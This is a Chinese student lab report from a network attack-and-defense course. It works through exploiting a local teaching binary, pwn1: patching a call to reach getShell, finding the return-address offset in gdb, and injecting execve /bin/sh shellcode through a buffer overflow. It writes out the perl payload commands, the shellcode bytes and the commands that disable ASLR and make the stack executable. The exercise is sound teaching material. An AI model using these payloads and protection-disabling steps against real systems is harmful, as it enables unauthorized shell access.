1. 程式人生 > 其它 >20212937 曾俊銘 網路攻防實驗報告

20212937 曾俊銘 網路攻防實驗報告

20212937 曾俊銘 2021-2022-2 《網路攻防實踐》實踐報告

1.實踐內容

實踐目標:

本次實踐的物件是一個名為pwn1的linux可執行檔案。

  • 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  • 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  • 注入一個自己製作的shellcode並執行這段shellcode。

實驗要求

  • 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
  • 掌握反彙編與十六進位制程式設計器
  • 能正確修改機器指令改變程式執行流程
  • 能正確構造payload進行bof攻擊

2.實踐過程

2.1手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式

  • 通過雲班課下載上傳檔案pwn1,開啟Kali,輸入命令“objdump -d pwn1”對該檔案進行反彙編。

  • 對以上反彙編結果進行分析:這裡是三個函式main、getshell、foo。首先看main函式的呼叫情況,找到“80484b5: e8 d7 ff ff ff call 8048491 ”這一行,“call 8048491 ”是彙編指令,其含義是呼叫地址為8048491的foo函式,“e8 d7 ff ff ff”是機器指令,e8的含義是“跳轉”,EIP(Extended Instruction Pointer,擴充套件指令指標)值指的是下一條指令的地址:80484ba,這條機器指令的意思是轉而執行下一條位於地址80484ba的指令。由於main函式呼叫foo函式的機器指令為“e8 d7 ff ff ff”,所以要想呼叫getshell函式,只需把“d7 ff ff f”f改為getShell-80484ba對應的補碼即可,因為47d-ba得到補碼為c3 ff ff ff,因此main函式呼叫getshell函式的機器指令為“e8 c3 ff ff ff”。

  • 更改可執行檔案,將call指令的目標地址由原來的“d7 ff ff ff”改為“c3 ff ff ff”。輸入命令“vim pwn1”開始更改。

  • 輸入指令“:%! xxd”,回車,將顯示模式切換為16進位制模式:

  • 找到這一行,先點選Ctrl+I進入插入模式,將“e8 d7”改為“e8 c3”。然後點選Esc,輸入:wq儲存並退出。

  • 輸入指令“:%! xxd -r”將十六進位制模式改回原格式,儲存並退出

2.2利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式

2.2.1反彙編,瞭解程式的基本功能

  • 將pwn1反彙編後檢視foo函式,該函式的功能是呼叫gets讀進使用者輸入的字串然後用puts函式將字串輸出,但是該函式並沒有檢查使用者輸入,所以存在BOF漏洞。
  • 觀察反彙編出的彙編程式碼得知預留的區域性變數的空間為0x38,而gets函式將讀取到的字串存放到0x1c(28個位元組)處,根據堆疊結構,當輸入字串長度達到36時,第33~36個位元組將會覆蓋到EIP中

2.2.2確定輸入字串的那幾個字元會覆蓋返回地址

  • “apt install gdb”安裝,輸入命令“gdb pwn1”調式程式。

  • 輸入“r”,表示執行這個檔案,輸入有規律的字串“1111111122222222333333334444444455555555”,程式輸出該字串,報錯“Segmentation fault”,原因是輸入超過28個,程式無法正常退出,產生溢位

2.2.3確認用什麼值覆蓋返回地址

  • 使用gdb對pwn1進行除錯,當輸入長度為40的字串“1111111122222222333333334444444455555555”後出現段錯誤,檢視各暫存器狀態可以發現當前EIP暫存器的內容為0x35353535(“5”的ASCLL碼的十六進位制為35),因此可以說明當輸入字串過長時,第33~36個位元組將會覆蓋EIP的內容

2.3注入一個自己製作的shellcode並執行這段shellcode

  • 把prelink_0.0.20130503.orig.tar放到kali虛擬機器中,在虛擬機器中解壓縮,在解壓縮檔案中開啟終端
    輸入命令列:
    sudo apt-get install libelf-dev
    ./configure
    make
    sudo make install

  • 準備一段Shellcode,shellcode是一段機器指令(code),這段機器指令的目的通常是獲取一個互動式的shell(linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,例如新增一個使用者、執行一條指令。

  • 首先使用“apt-get install execstack”命令安裝execstack;

輸入“execstack -s pwn1”設定堆疊可執行;

輸入“execstack -q pwn1”查詢檔案的堆疊是否可執行 ;

輸入“more /proc/sys/kernel/randomize_va_space”查詢是否關閉地址隨機化;

輸入“echo "0" > /proc/sys/kernel/randomize_va_space”關閉地址隨機化;

輸入“more /proc/sys/kernel/randomize_va_space”查詢是否關閉地址隨機化

  • 構造要注入的payload。輸入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”進行注入,其中,前32個A是用來填滿緩衝區buf,“\x04\x03\x02\x01”是預留的返回地址retaddr。

  • 然後在該終端執行“(cat input_shellcode;cat) | ./pwn1”注入這段攻擊buf,開啟另一個終端,執行“ps -ef | grep pwn”,可以看到pwn的程序21016。

  • 用gdb的“attach 21016”命令啟動gdb除錯這個程序。

  • 用“disassemble foo”命令反彙編,設定斷點檢視注入buf的記憶體地址。

  • 輸入“b *0x080484ae”命令設定斷點,輸入“c”命令(continue)繼續執行。

  • 在程序正在執行的終端敲回車,使其繼續執行

  • 再返回除錯終端,輸入“info r esp”命令查詢地址為“x/16x 0xffffd5bc”

  • 輸入“x/16x 0xffffd5bc”命令檢視其存放內容,看到了0x01020304,就是返回地址的位置。根據我們構造的input_shellcode可知,shellcode就在其後,x/16x 0xffffd5bc+0x00000004=0xffffd5c0,所以地址應為0xffffd5c0

  • 接下來只需要將之前的\x4\x3\x2\x1改為這個地址0xffffd5c0即可,用命令perl -e 'print "A" x 32;print "\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。

  • 再用“(cat input_shellcode;cat) | ./pwn1”命令次執行程式,攻擊成功

3.學習中遇到的問題及解決

  • 問題1:kali一直找不到prelink所在目錄?
  • 問題1解決方案:將prlink下載在主機安裝後在拖入虛擬機器kali

4.實踐總結

通過這次實驗自己對機器指令、十六進位制、反彙編、gdb除錯和BOF攻擊等安全知識有了進一步的瞭解學習,並進行了簡單的應用,對於後面的學習打下了基礎,實驗有一點複雜,但更多的還是理論基礎,希望能進一步學習吧。